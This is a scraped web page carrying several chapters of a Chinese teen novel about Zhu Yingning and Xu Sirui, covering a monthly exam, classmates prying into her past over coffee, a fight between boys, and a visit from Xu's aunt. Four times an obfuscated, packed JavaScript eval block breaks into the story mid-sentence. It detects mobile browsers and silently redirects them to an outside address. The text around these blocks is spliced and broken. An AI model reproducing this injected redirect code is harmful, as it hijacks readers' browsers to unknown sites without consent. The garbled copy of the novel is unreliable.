;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793586|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你误会了,我想说的是……” 他没说话,保持着倾听的姿态,想看她能说出什么花来。 “我只是想说……”她挠了挠脸颊,忽的朝他竖起大拇指,嘴角情不自禁朝两边翘起来,尽管一再克制,笑容还是不断扩大,扩散到眼角眉梢,将整个人从上到下都染上喜意,声音铿锵有力,掷地有声,像在宣读什么从军誓言,“太爽了!” “?” 直到祝婴宁回了客房,消失在他卧室门口,她那句语气正义凛然但内容却和正义凛然搭不上边的“太爽了”还在他耳边环绕。 这就觉得爽,要不要这点出息? 许思睿无语地在心里吐槽,坐回椅子上,翘起二郎腿,翘了几秒,又把腿放下了,手指摩挲着下巴,随手抓起书桌上的镜子开始臭美。 欣赏了半分钟自己的美貌,他才发现自己的嘴角像被她传染了似的,始终勾着一个得瑟的弯弧。 ……好吧。 他承认是还挺爽的。 ** 然而很快,许思睿就体验到了祝婴宁恩将仇报的功力。 无他,仅仅只是因为月考快到了。作为开学以来的第一次考试,祝婴宁不仅自己高度重视,严阵以待,还顺带逼着他一起高度重视严阵以待。 许思睿本来觉得他和她之间已经形成了一种“他玩他的,她学她的,井水不犯河水”的平衡,但很显然,这只是他单方面的幻觉。 之前祝婴宁没管他纯粹是因为大考还没到,她觉得许思睿可能有自己的学习节奏,也许劳逸结合张弛有度也是一种合理且有效的学习方法。她觉得她应该给予他一些基本的信任。 可眼看着月考临近,她等啊等,等得花都要谢了,愣是没等到许思睿的“劳”和“张”,他那副懒懒散散爱咋咋地的态度终于让她坐不住了。 月考前的一周,祝婴宁开启了她对许思睿全方位无死角的围剿。 围剿到什么程度呢? 许思睿中午吃完饭打算回教室打个盹,都会被她眼疾手快拽进楼梯间背政治。 “许思睿,货币的职能是什么?” “……” 他发自内心地问,“你是不是有毛病?” 她完全不为所动:“是价值尺度、流通手段、贮藏手段、支付手段、支付手段和世界货币,你记住了吗?怎样区分流通手段和支付手段?” “……” “看交易与货币支付是否同步,如果同步就是流通手段,不同步就是支付手段,你记住了吗?” 放学后他想躲着她走,和冯达他们一起去学校附近的野球场打球,结果走出六七百米,祝婴宁跟叫魂似的,一直跟在他们后面,嘴里不依不饶喊着:“许思睿——许思睿——!你物理还没复习呢!” 冯达左看右看,不太确定地说:“思睿,我好像一直听到有人在叫你,是我幻听了吗?” 许思睿吓得魂飞魄散,生怕被人发现他居然需要被祝婴宁管着,只好匆匆忙忙道别:“你听错了吧?我突然想起家里还有点事,打球的事等下次再说吧。” 也不知道是不是她的魔音贯耳式知识洗脑起了作用,尽管开学以来都没怎么听课,也完全没写作业,但坐到考场上时,他扫了眼题目,发现题目居然都还挺眼熟的。 更让他无语的是开考前,像是担心他缺考,她还特意来了趟他们班,发现他乖乖坐在座位上以后,脸上露出慈母般欣慰的笑,点了点头,老气横秋地对他来了句:“我就知道你是爱学习的,加油。” 69. 喝点咖啡 最后一门考完,躁动的学生们被洪青阳赶鸭子似的归拢回座位,一人被迫拿了一张国庆假期注意事项。 “怎么,心都飞远了?”洪青阳站在讲台上,朝底下环视一圈,说,“放松可以,但要注意安全,远离水源火源,少跟社会上的不良分子来往,尤其是极个别不安分的同学——”说到这,他意味深长地停顿了一下,看向后排的郑泽楷,“年龄不到就别去玩机车,我可不想放假回来还得去警局捞你们。” 底下学生们哈哈笑起来,郑泽楷也在笑,靠在椅背上无所谓地抖了抖腿。 “还有,玩的同时也别忘了学习,作业拿着,好好做,假期结束我要收上来检查。” 这句话一出来,笑声瞬间变成了鬼哭狼嚎。 “老师,我们才刚月考完!” “就是啊,能不能让人好好过个国庆了?” “阳哥,看在伟大的祖国母亲生日的份上,作业的事就算了吧。” 洪青阳无视大家的抗议,拍了拍手,让各组组长把作业发下去,确保每个人都拿到了,才大发慈悲道:“行,解散吧。” 像沸水落入苍蝇堆,班上学生嘤嘤嗡嗡叫嚷着,四下散开了。 祝婴宁收拾好书包,打算去楼上关心一下许思睿考得怎么样。 结果,就像提前预料到她会来似的,她上去的时候,他的座位早已人去楼空,她不死心地伸手摸了摸他的座椅,得,连椅面都是凉的,估计是提前交卷离开了。 “……” 她又气又无奈,撇了撇嘴,决定等成绩出来再重新规划对他的战术。反正同住一个屋檐下,抬头不见低头见,他再躲又能躲到哪里去? 转身打算独自回家,却被一个轻柔的男声叫住了:“同学?” 祝婴宁不太确定对方是不是在叫自己,踟蹰着停下脚步,左看看,右看看,想确认周围有没有其他人回头或应声。 “你好,同学。”冯达干脆直接绕到她面前,嘴角噙着温和的微笑,“我在叫你。” “啊,你好。”她急忙点了点头,认出这人是许思睿在学校交到的新朋友。 “你在找思睿吗?他半小时前就走了。”冯达温声告知。 半小时前,那就是考试快要结束但还没有真正结束的时候。 ……他果然是提前交卷了。 祝婴宁气得牙根痒痒的,她昨晚明明千叮咛万嘱咐过,让他填完试卷一定要认真检查。那时他是怎么说的?他说“嗯”,现在想想,这声“嗯”更像是被她烦得不行了随意从鼻腔里挤出来敷衍她的。 似乎觉得她生动的表情很有趣,冯达歪头看了她一会儿,慢悠悠地开口问:“你是思睿以前的朋友?” 这问题就像油锅着火时的盖子,卜的一声,把祝婴宁摇曳的火气轻轻地盖灭了。 她算是许思睿的朋友吗? 不知道为什么,每次面临这个问题,祝婴宁都不太有自信。 扪心自问,许思睿对她不算差,甚至从某个角度看,谈得上很好。从村里那会儿就开始了,他没有计较刘桂芳的盗窃行为,在她受伤不方便的时候帮她干活,后来又专门把手表留在她家,亲自打电话叫她来北京……好到她若是还觉得不好,就有些不识好歹了。 但是,他对她的态度既和对孙明远他们不一样,也和对冯达他们不一样。 他和孙明远之间有一种熟稔,一种什么话都会对孙明远说的交心的氛围,和冯达他们则是一种客气的迁就。 而她和许思睿之间既没有这种熟稔,也没有这种迁就。她处在一个别别扭扭的位置,既没有熟到能让他肆无忌惮地敞开心扉,也没有“高级”到能让他在她面前维持好脾气。 祝婴宁越想越觉得心里拔凉拔凉的,一句“我是他的朋友”卡在她嘴边,像断掉的红酒酒塞一样怎么拔都拔不出来。 冯达看她为难,也不勉强,笑了笑,说:“你放学后没什么安排吧?要不要一起去喝一杯?” 喝一杯这个表述让祝婴宁吓了一大跳,忙摆手道:“我不喝酒的,未成年人不能饮酒,会影响大脑发育。” 可能没想到她会答得这么正经,冯达愣了下,才哭笑不得道:“不是喝酒,是喝咖啡。 ……咖啡? 她知道咖啡,但并没有喝过,闻言轻轻哦了一声,有点不好意思。 刚好郭莹颖收拾好书包走了过来,冯达回头叫她:“一起?” 许思睿不在,郭莹颖本来兴致缺缺,打算早点回家休息了,直到看到冯达面前的祝婴宁,冲到嘴边的拒绝才变为:“走吧。” 冯达便拍了拍祝婴宁的肩膀,示意她跟上。 她被郭莹颖和冯达夹在中间走出一段路,才想起自己并未答应赴约,但现在再拒绝显得特别矫情,她便没吱声。 他们三个走在一起呈诡异又滑稽的凹字形,冯达和郭莹颖身材高挑,冯达有一米八,郭莹颖一米七二,再加上冯达五官清秀,郭莹颖五官精致,两人跟杂志明星似的,祝婴宁走在他们中间就像有幸被明星亲自下乡慰问的山区少女。 目的地是学校附近的一家咖啡厅,里面坐着很多同校学生。一路走来,不断有学生向冯达和郭莹颖打招呼,看到她,也会随口问一句:“这是?” “新朋友。”冯达如此说。 他们在咖啡厅一个较为僻静的角落入座,冯达点了杯冰美式,郭莹颖害怕失眠,点了纯牛奶。 “都放假了,失眠也没事吧,哪有来咖啡厅喝牛奶的。” “我真不想喝,我本来就很难睡着。” 他置若罔闻,向服务员说:“一杯冰美式,一杯拿铁。”说完又看向祝婴宁,温和地问,“你想喝什么?” “我……”她根本不知道咖啡店有什么饮品。 “看看菜单吧。”郭莹颖将菜单推给她。 祝婴宁拾起菜单,瞄了两眼,脸皮一麻,被价格吓得半天没敢出声。 “要不你也试试冰美式?”等了一会儿没见她回答,冯达干脆也替她做了决定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797593|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她的目光移向冰美式的价格,看到居然要十五块后,立即果断拒绝道:“我喝白开水就好。” 冯达摇头笑道:“胡话。”他抬眼看向服务生,“两杯冰美式,一杯拿铁,谢谢。”然后没等祝婴宁拒绝,便打断了她的话,“我请你。” “不,我自己可以付……” “你是思睿的朋友,也就是我的朋友。” 祝婴宁便不知道该说什么了。 她以前从来没有接触过冯达这样的交际花。平心而论,他长得很好看,虽然不及许思睿那般亮眼,但也有自己的特色,干干净净清清爽爽的,而且说话也比许思睿中听多了。 可是,不知道为什么,她面对他却总有一股近似防备的局促。 也许是因为他表面看起来很温柔,言辞间却透出一股和外表截然相反的强势。 等咖啡的间隙,冯达主动挑起话题:“这几天你一直来我们班找思睿呢。” 祝婴宁小声应了声“嗯”。 “我之前有几次看到你们一起上下学,你们是邻居吗?” 她和许思睿上下学时从来没有刻意避着同学的目光,却也没有刻意向谁说明过他们的关系。在学校偶然碰见了,打不打招呼全凭许少爷的心情,他心情好了会回她一个恩赐般的颔首,心情不好则会瞥开视线,幼稚地无视她。 虽然有过那个城乡交换综艺加持,但毕竟热度已经过去了,再加上她并非综艺的主角,镜头稀少,连全名都没有在镜头前出现过,学校里大部分人都只认识许思睿而不认识她,对他们的关系不太了解也是正常的。 祝婴宁张了张嘴,不知道该从何说起。 说他们是被资助人和资助人儿子的关系?说她借住在他家里? 她莫名不想将这些事情告诉冯达。 冯达等了一会儿,见她迟迟没有开口,这时服务员端着咖啡过来了,他便笑了笑,打圆场道:“先喝咖啡吧。”他给她一杯冰美式,“试试?” 冰美式呈黑棕色,祝婴宁凑近闻了闻,发现味道还挺香的,有股豆子的香气,于是毫无防备地对着吸管喝了一大口。 “什么感觉?”冯达故意问。 她五官拧成一团,犹如揉皱的纸巾,使劲将嘴里那口咖啡咽下了,眉毛抖动,委婉道:“良药苦口利于病。” 冯达便哈哈大笑起来,旁边的郭莹颖也笑着摇了摇头。 接着冯达忽然低头玩起了手机,没了他主动找话,他们三人之间顿时陷入了漫长的沉默,祝婴宁看向郭莹颖,想说点什么活络下气氛,又完全找不出共同话题,最后只能毫无眼色地说:“今天历史考试倒数第二道题……” 郭莹颖立马打断她:“都考完了就别聊考试了。” “哦,好。” 于是再度陷入沉默。 就在她和郭莹颖大眼瞪小眼,彼此都尴尬得只能低头注视咖啡杯的时候,冯达终于动了。 他抬起头,脸上挂着浅笑,将手机屏幕亮给她们看:“找到了。” 70. 鼻血 屏幕上赫然是《交换人生》的综艺片段,冯达调了静音,但光是看着那熟悉的片段,祝婴宁脑海里都能自动配音—— “我脚崴到了,要他背一下怎么了?” “他走不了路我才背他的,你们谁来搭把手,帮忙把他扶上去?” …… 她冷汗涔涔,心有戚戚,朝背后看了看,暗自庆幸许思睿不在这里,不然他估计又得羞愤欲死了。 郭莹颖惊愕地瞪大眼睛,把冯达的手机接过来,怼到眼前看了又看,不可置信地抬头比照着祝婴宁的脸:“这是……思睿和……你?” 她想维护一下许思睿的尊严,但又觉得不好撒谎,只能扯着嘴角弱弱地笑了笑。 “我就说你看起来很眼熟,我肯定在哪里见过的。原来你在综艺里出境过啊,那难怪了。”冯达双手撑着下颌,朝她笑得阳光灿烂,等郭莹颖震惊完了,他才把手机接过来,切出视频界面,说,“还有呢。” 祝婴宁以为他又要调出别的视频片段,结果他点开了一个网页,展示在她面前,叹道:“你还经历过这些事?真不容易。” 经历过这些事? 她纳闷地一抬眼,看清屏幕后,整个人猛然定住了。 是那篇被记者扭曲的采访。 郭莹颖再次接过冯达的手机,细细浏览着网页上的报道,看完以后,瞥向她的眼神掺了几分惊讶和同情:“你爸爸妈妈竟然逼你嫁人啊……?真的假的?好惨。” 她上一秒还有余力为许思睿的面子担忧,这一秒却像被粉尘扼住了咽喉,喉口干涩,脸色发白,半天才挤出一句近似辩白的:“不是……” 冯达和郭莹颖没有听到她细弱的辩解,两人完全沉浸在了新挖到的八卦里,你一言我一语,说: “所以你现在在被许思睿资助?难怪你经常来找他。” “还好你被他家资助了,不然好惨哪。” “你爸爸妈妈真的逼你嫁给老头啊?” “你们那里也太恐怖了,都二十一世纪了竟然还有这种事。” “没想到你过得这么不容易。” 他们说了很恶毒的话吗?没有吧……祝婴宁迟缓地想。 他们甚至像是在关心她。 可是,虽然没有,为什么这些话落在飘散着咖啡香的空气里,却像无数巴掌,热辣辣地掌掴在她脸上? 她感到了难以描摹的难为情。 这股巨大的难为情如同海啸,将立于岸边无处躲藏的她残忍地吞没,窒进洋流深处,朝暗无天日的深海挤压。家乡忽然从褪色的画像变成了旧衣服上的补丁、袜子上的破洞和T恤领口脱线的线条,她胸腔里鼓噪着前所未有的窘迫,第一次试图埋头遮挡点什么,像遮住一个丑陋的胎记。 冯达和郭莹颖并未察觉她的异常,两人依然说得兴起。就在她觉得自己将要融化在座位上,变成一滩污水从这里流掉时,身侧的落地窗忽然被人从外头大力敲了一下。 叩的一声。 祝婴宁一激灵,循着声音看过去。 她看到许思睿站在落地窗外,高大的身影折射在落地窗上,鬼气森森的,脸色黑得堪比包公,没看冯达他们,只盯着她,用口型说:“出来。” “……抱歉。”她指指落地窗外像是来讨债的许思睿,向冯达和郭莹颖歉意地表示自己得走了,随后缩着肩膀灰溜溜地离开座位,灰溜溜地滚去前台付了自己那份饮品的钱,又灰溜溜地来到了许思睿面前。 见她出来了,他依然没理里头的冯达,转身带路,大步流星朝前走,没好气道:“你跟他们在一起干嘛?” 祝婴宁不晓得他在气什么,不过被他这么一打岔,刚刚浓烈得像是要把她淹死的羞窘消失了,她三步并作两步跟上去,好奇地请教:“我不能跟他们在一起吗?” “不能。”许思睿蛮不讲理地斜瞪向她。 “为什么?” “没有为什么。你和他们很熟?” 她撇撇嘴,小声为自己声辩:“不熟,是因为冯达邀请我,我才……” “他邀请你你就得答应?不熟你也答应?下回路边窜出来个乞丐邀请你去拾荒,你是不是也打算拾掇拾掇跟着一起去了?” “……” 她刚想劝自己不要和处于叛逆期并且将长期处于叛逆期的许思睿计较,转念一想,忽的回过味来,怒道,“你凶我?你居然敢凶我?我都还没和你计较你提前交卷的事!还有,你为什么会在这里?我以为你回去了,所以你其实没有回去,你宁愿在外面无所事事地闲逛,也不愿意待在教室里多检查两遍试卷么?” “……” 这回轮到许思睿沉默了,他没有回答,当然更没有回头,只是默默加快了步伐,想要不动声色把她甩开。 “许、思、睿——” 祝婴宁咬牙切齿地追了上去。 ** 国庆期间人流量大,祝知微的服装店不仅没放假,还搞起了大促活动,生意特别火爆。祝婴宁三天两头往她那跑,忙得昏天黑地,以至于没时间再去理会许思睿了。 假期第五天,她换上工作服,随着伊伊去其他楼层发传单拉客。 大楼人来人往,她们摩西分海,艰难穿梭于人群中。有了之前在街边发传单的经验,祝婴宁已经练出了厚脸皮,也不管对方是接受还是拒绝,总之先说声谢谢把传单塞过去,大部分人反应不过来,都会下意识接过。 把传单塞给一对年轻男女后,祝婴宁才后知后觉对方似乎是她认识的人,仰头一看,她和对方均大吃一惊。 戴以泽说:“卧槽,怎么是你?” 他手里提着大包小包,有化妆品也有各式女装,邵彦君在他身后拿了个折叠镜补口红,闻言,也掀起眼皮看过来,不冷不热抬了抬眉,缓缓问:“你在这打工?” 她刚把“是的”两个字念完,邵彦君便扬起嘴角,低头粗略扫了两眼传单,说:“有意思。”拍了拍戴以泽的肩,果断做出决定,“走,去看看。” “去哪?” “小土妞打工的店啊。” 祝婴宁:“……” 她思考了几秒,才意识到小土妞是在形容她。 戴以泽似乎不太乐意,嘴里嘟嘟囔囔抱怨个不停:“我手里提了这么多东西,要不咱先回去吧?土妞的店有啥好看的,肯定跟她一样土。” 但很显然,他和邵彦君之间,邵彦君才是说一不二的那个。她按照传单上的地址走得飞快,戴以泽只能像□□老大的弱鸡小弟一样卑微地跟上去。 祝婴宁本来该继续发传单了,但她越想越焦虑,担心祝知微被刁难,犹豫了片刻,还是向伊伊告别,扭头追上他们。 到达了目的地,像是没想到她工作的地点这么“高端”,邵彦君和戴以泽都有些茫然,站在门口上下打量了许久店面,最后才在祝婴宁“进来看看吗”的招呼声中抬腿踏了进去。 “我天……真想不到啊。”戴以泽仿佛瞬间感觉不到手里那些袋子的重量了,双臂一挽,把所有袋子挽在臂弯上,贵妇巡街一样,在衣架间游历起来。 五分钟后,他选出一件连衣裙,问邵彦君:“你要不要去试衣间试试?我觉得这衣服挺适合你。” 邵彦君正蹲在地上挑光腿神器和内衣,闻言头都没抬:“不用了,信你的眼光,滚去付款吧。” “你在挑啥?”戴以泽捧着裙子凑过来。 “丝袜,胸|罩。” “这个花纹好。”戴以泽伸手拿起一件蕾丝胸|罩,面色如常,语气更是四平八稳,仿佛手里拿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807627|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是胸|罩,而是一条可以拿来擦桌子的破抹布。 祝婴宁在一旁看得呆若木鸡,一方面震惊于他们话题的大胆和奔放,一方面震惊于他们竟然赏脸在这消费了。 给他们结账的时候,她整个人都晕晕乎乎的。 “打个折呗。”戴以泽冷不丁开口道。 祝婴宁看了看结账界面,确认了一遍,说:“已经打过折了。” “你打的是你们国庆活动的折,再打个同学折呗。” 同学折…… 她正暗自咀嚼着这个新奇的表达,身后祝知微便走了出来,笑道:“你们是宁宁的朋友?” 祝知微的气质一看就是店长,戴以泽立马来了精神,稍息立正,把歪歪扭扭的站姿摆正了,毫无廉耻之心地点头道:“是啊姐姐,我们特意来照顾宁宁生意的。” 宁宁…… 祝婴宁被他突如其来的昵称恶心出了一身鸡皮疙瘩,哆嗦一下,正想说点什么,祝知微便抢在前头开口了:“好啊,承蒙你们照顾宁宁了,那就折上加折,在国庆活动半价的基础上再给你们打八五折吧。” “谢谢姐姐!姐姐您真是大好人!”戴以泽脸上都要笑出褶子了,眼神瞥向祝婴宁时,暗地里加了几分威胁的意味,像在说“快结账,敢多嘴揍死你”。她只好咽了咽唾沫,给他们来了个折上加折。 结账完毕,邵彦君把所有袋子扔给戴以泽,继续掏出她的镜子补妆,大步流星往门店外去了,戴以泽屁颠屁颠地跟在她身后,眨眼间,两人就被人群吞没,来去匆匆,消失无影。 祝婴宁这才收回视线,不好意思地对祝知微说:“微微姐,钱你从我工资里扣吧。”本来国庆大促就快逼近成本价了,八五折一打,这生意直接做成了亏本生意,她看着都心焦。 祝知微不悦地瞪她一眼:“再胡说小心我削你。” “……不要削我。”她瘪瘪嘴,知道祝知微必然不会同她计较这些钱,可她心里依然过意不去,遂暗自决定等发工资以后再请她吃顿饭,就去她之前带她吃过的那家中餐厅好了。 ** 下班回到家已是夜里八点半,祝婴宁在玄关处脱了鞋,发现门口没有许正康的鞋子,但有许思睿的鞋子和一双陌生的男款球鞋。 看来是许思睿的朋友过来做客了。 她正默默猜测着会是谁,就听许思睿的卧室骤然爆发出一声怒气冲天的咆哮:“我□□……许思睿,你到底什么时候能成熟点,你能不能别总这么幼稚?!” 是孙明远的声音。 她贴在门板上,还没来得及震惊孙明远居然能发出这么失控的怒吼,下一秒,许思睿的卧室便传出了更加失控的乒乒乓乓的巨响,随后砰的一声,卧室门被人大力甩开了,脆弱的门板撞在墙壁上,发出散架的哀鸣。许思睿从里面冲出来,面沉如水,跟尊煞神似的,满脸神挡杀神佛挡杀神的气势。 人对危险情况有本能的感知,祝婴宁没傻到这时候去触他霉头,赶紧闪身让出了门口的位置。 许思睿果然看都没看她,趿拉上鞋子,将未合稳的门大力一踹,踹出了一种令人牙酸的咯吱声响,随后头也不回地离开了。 他走后,过了足有三分钟,祝婴宁急促的心跳才勉强平复下来。她动了动酸涩的腿,想去许思睿房间看看情况,结果没走几步,孙明远就捂着鼻子跑了出来,看到她,一愣。 “……嗨。” 祝婴宁觉得自己可能是被刚才的情况吓得脑子抽了,她居然举起手,二傻子一样朝孙明远“嗨”了声。 孙明远可能没想到她在外面,也没想到她会这样问好,静默几秒,举起另一只手,也“嗨”了回去,还朝她礼貌地点了点头。 这一点,鼻血瞬间从他捂着的那只手里甩了出来。 71. 小姨 “你别把头抬起来,流鼻血不能仰头,这是个误区,血液容易呛进气管里。” 祝婴宁打开冰箱,从冷藏柜里找出冰块,用一条湿毛巾将冰块包裹住,敷到了孙明远的鼻梁上。 “那我的头该怎么办?竖着吗?”他问。 “自然前倾就好。” “可这样鼻血就流出来了。” “那就让它流出来。”她淡定道。 “我的鼻子真的没骨折吗?” “没有,刚才替你摸过了,你要是还不放心,过后可以去医院拍片。” 一问一答结束,孙明远忍不住怔愣道:“谢谢啊。” 他发现祝婴宁身上有种沉稳且令人安定的气质,他刚才匆匆忙忙跑出来,本来都已经脑补出自己鼻梁骨折在医院做修复手术的画面了,连事后要怎么揪着许思睿的衣领秋后算账,哭嚎着“还我妈生鼻”都想象得一清二楚,谁知现在,屁事没有。 “不客气。”她张了张嘴,问,“你和许思睿……” 提起这个,孙明远的眼神飘忽起来,叹了口气,挠了挠头,含糊其辞道:“没事……就是有点小矛盾。” “你们之后还会和好,对吧?” “当然了。” 得知他们过后还会和好,祝婴宁便没再追问了,她看得出孙明远并不想倾诉。 待到鼻子不再流血以后,孙明远就离开了。 ** 当晚许思睿又没回家,祝婴宁睡了一觉起来,见他房间空着,心里实在无可奈何。 他的失踪持续了一整天,到了傍晚,依然不见踪影。许正康也不怎么着家,国庆期间他基本都留宿在外,说是有工作要忙。有些时候祝婴宁都分不清到底谁才是在这个家借宿的人了,她这个外人待在他们家的时间都要比这对父子多。 傍晚从祝知微的店里下班,她拐去市场买了点青菜,打算简单给自己煮碗菜粥当晚餐。 打开家门,却见客厅的灯亮着,正疑惑是谁回来了,便看到一个女人坐在沙发上,偏头朝她瞥来视线。 许思睿家的墙上挂着许正康和周天澜的结婚照,祝婴宁虽然暂且无缘得见周天澜本人,但凭借照片,也已经对她的长相有了初步印象。此刻坐在沙发上的漂亮女人既像她又不是她,祝婴宁在门口踟蹰了一会儿,开口:“您好……?” “你好。”周天晴微笑着颔首。 等祝婴宁换完拖鞋,局促地朝客厅走来,她才从容地自我介绍道:“我叫周天晴,是睿睿的小姨,你一定是婴宁了,之前在山里,多谢你照顾他。” 祝婴宁惶恐至极,摆手道:“您客气了,我没怎么照顾他,是他帮助我许多。” “你才是客气了。”周天晴笑得温柔可亲,“睿睿什么脾气,我们家里人都清楚,连我都不愿意和他多待,亏你能忍受他。你住过来后,他一定也给你添了不少麻烦吧?” “没有的事。”她使劲摇头。 “坐吧。”周天晴指了下沙发上的空位,说,“我差不多该走了,睿睿不接我电话,我本来想过来堵他,但从下午等到现在,都没见着人。” 闻言祝婴宁愣了楞。 许思睿和孙明远打架就算了,她可以将其理解为男生间寻常的打闹,可是,他为什么连自己小姨都不肯见呢?也许是“许思睿小姨”这个身份使然,也许是因为周天晴长得很像结婚照上她素未谋面的周天澜,也许是因为周天晴自身温雅亲切的气质,她情不自禁接了句:“您找他有什么事么?我可以替您转告他。” 但周天晴和孙明远一样避开了正面回答,只笑眯眯道:“你有心了,不过,没什么事。” “哦……” 周天晴直起身,拿起沙发上的挎包便要离开,路过她身边时,可能看她瞪着个大眼睛的模样很好笑,伸手拍了拍她的头,用一种说秘密的口吻低声道:“你觉不觉得睿睿这人特别胆小?” 尽管不明白话题怎么忽然拐到这儿了,祝婴宁还是深有同感地点了点头:“他怕黑,怕鬼,胆子可小了,连青蛙都能吓他一大跳。” 周天晴闻言,咯咯笑起来:“那你觉得他有什么优点吗?” “他心肠很软。” 周天晴颇感意外地挑了挑眉,没料到是这个答案:“我还以为你会说他长得帅之类的。”毕竟在熟知他臭脾气的人眼里,许思睿大概有且仅有这一个优点了。 “他确实长得帅。”祝婴宁沉吟道,“但这只能算他的特点,不能算他的优点。” “哦?”周天晴露出洗耳恭听的表情。 “他的优点没有这么肤浅。” 周天晴心里微微一动。 她算是看着许思睿长大的,从小到大,许思睿最常被人评价的一句话就是:“这孩子长得可真俊呐。”幼儿园时因为长得白糯,文艺汇演次次都站C位,小学时因为长得漂亮,老师都喜欢让他坐前排,带去商场散散步都能碰到星探递名片,携去市场买菜,老大爷老大妈都愿意多给他一根鸡腿。 人是视觉动物,这事无关男人女人,纯粹是有眼睛有审美的生物,都对外貌美有着直观的感知。 但是,祝婴宁说,他的优点没有这么肤浅。 周天晴难以形容自己的心情,说被感动了?倒也不至于,只是觉得有些慨叹而已。她收回往前走的脚步,站到和祝婴宁并排的位置,温声道:“婴宁,小姨麻烦你一件事,可以吗?” ** 祝婴宁再见到许思睿已经是国庆假期结束的事了。 洪青阳发下了试卷,和试卷一起下来的还有月考的排名。排名表传到她们这一排时,祝婴宁闭着眼睛,双手交握于下颌处,做了许久的心理建设,都没敢睁开眼。 “……你到底看不看?不看我往后排传了。”邵彦君不耐烦道。 她只好睁开眼睛,讪讪道:“看的,看的。” 接过排名表,深吸一口气,将眼睛一瞪,从最下面那一排开始找起自己的姓名,每掠过一个倒数的名次,心里就油然而生一股劫后余生感。 邵彦君在一旁看得特别无语,见她慢吞吞从倒数第一名扫视到倒数第三名,终于忍不住出言打断她:“全班第三,全级第三十七,行了没?行了我传后面去了。” 说完扯过排名表就往后排扔,戴以泽哇啦啦大叫起来:“拿走拿走,不要给我!”仿佛扔过来的不是排名表,而是一坨狗屎。戴以泽的同桌怒道:“你不看我还要看呢。” 而祝婴宁还因为邵彦君告知的排名而僵在原地。 “才第三啊……”她嘟囔着,难掩失望。 邵彦君纳罕道:“你这人怎么回事?我看你从最后一排看起,还以为你对自己要求很低呢。第三还嫌什么,你要敢在我面前说自己考得不好,小心我大耳刮子抽你!” “……” 祝婴宁这才想起她刚刚似乎在倒数第三那行看到了邵彦君的名字。 说到这,许思睿考得怎么样呢? 放学铃一响,她就往楼上去了。 由于时机掐得早,许思睿还没离开,坐在最后一排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815442|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,戴着耳机,手里拿着个MP4看金庸的小说。几日未见,他还是那副对人爱搭不理的样子,只是眼底的青黑更明显了,仿佛消失的这几天去哪里做苦工了似的。 她走近了,想要问问他的排名,却闻到了一股酒味。 仔细一看,许思睿桌上并没有酒瓶,桌肚桌脚也没有,可他身上确凿无疑有股浓烈的酒味,祝婴宁越想越震惊,难以置信他这几天究竟是喝了多少酒,才能把自己给腌入味了。 抽烟,喝酒,网瘾,夜不归宿,殴打朋友,漠视亲人。 这人要不要这么百毒俱全?! 她刚想发作,便看到旁边有人在传阅排名表,一时好奇,抻长脖子看了过去,发现许思睿在他们班排第六名,全级八十四。 这名次…… 倒也不能说不好,毕竟他们全级有九百多人呢,可是正如看到自己的排名时一样,她心里升上来的第一个想法是——他不止如此。 因为知道他的实力,所以看到如此差强人意的名次,第一反应不是庆幸,而是代偿性焦虑。她清楚这名次是他丝毫没有学习全靠啃老本的结果。 等她焦虑完了,抬头一看,许思睿的座位已然空了。她急忙抬腿追出去,看到他书包都没背,听着歌便要往楼下走,正想开口叫住他,冯达和郭莹颖便越过她迎了上去,他们一左一右走在许思睿身边,和他言笑晏晏。 跟她之前走在他们中间时形成的突兀凹字形不同,许思睿走在他们的中间,呈完美的凸字,如同山峦的最顶峰,孤峰突起,而非陡峭盆地。 他们三个走在一起,如山似水,是色调统一的油画,自带一种生人勿近的同类的氛围。 同类。 这个充满排他性的词汇跃入祝婴宁脑海时,她呆住了。 身旁掠过许思睿班级里其他同学,她听到她们说:“欸,你们听说了吗?国庆的时候冯达、思睿和莹颖一起去拍广告了耶。” “什么广告啊?” “具体的不清楚,杂志,饰品,衣服?莹颖一直有在外面当模特,当了好几年了,渠道挺稳定的,就介绍思睿他们过去了。” 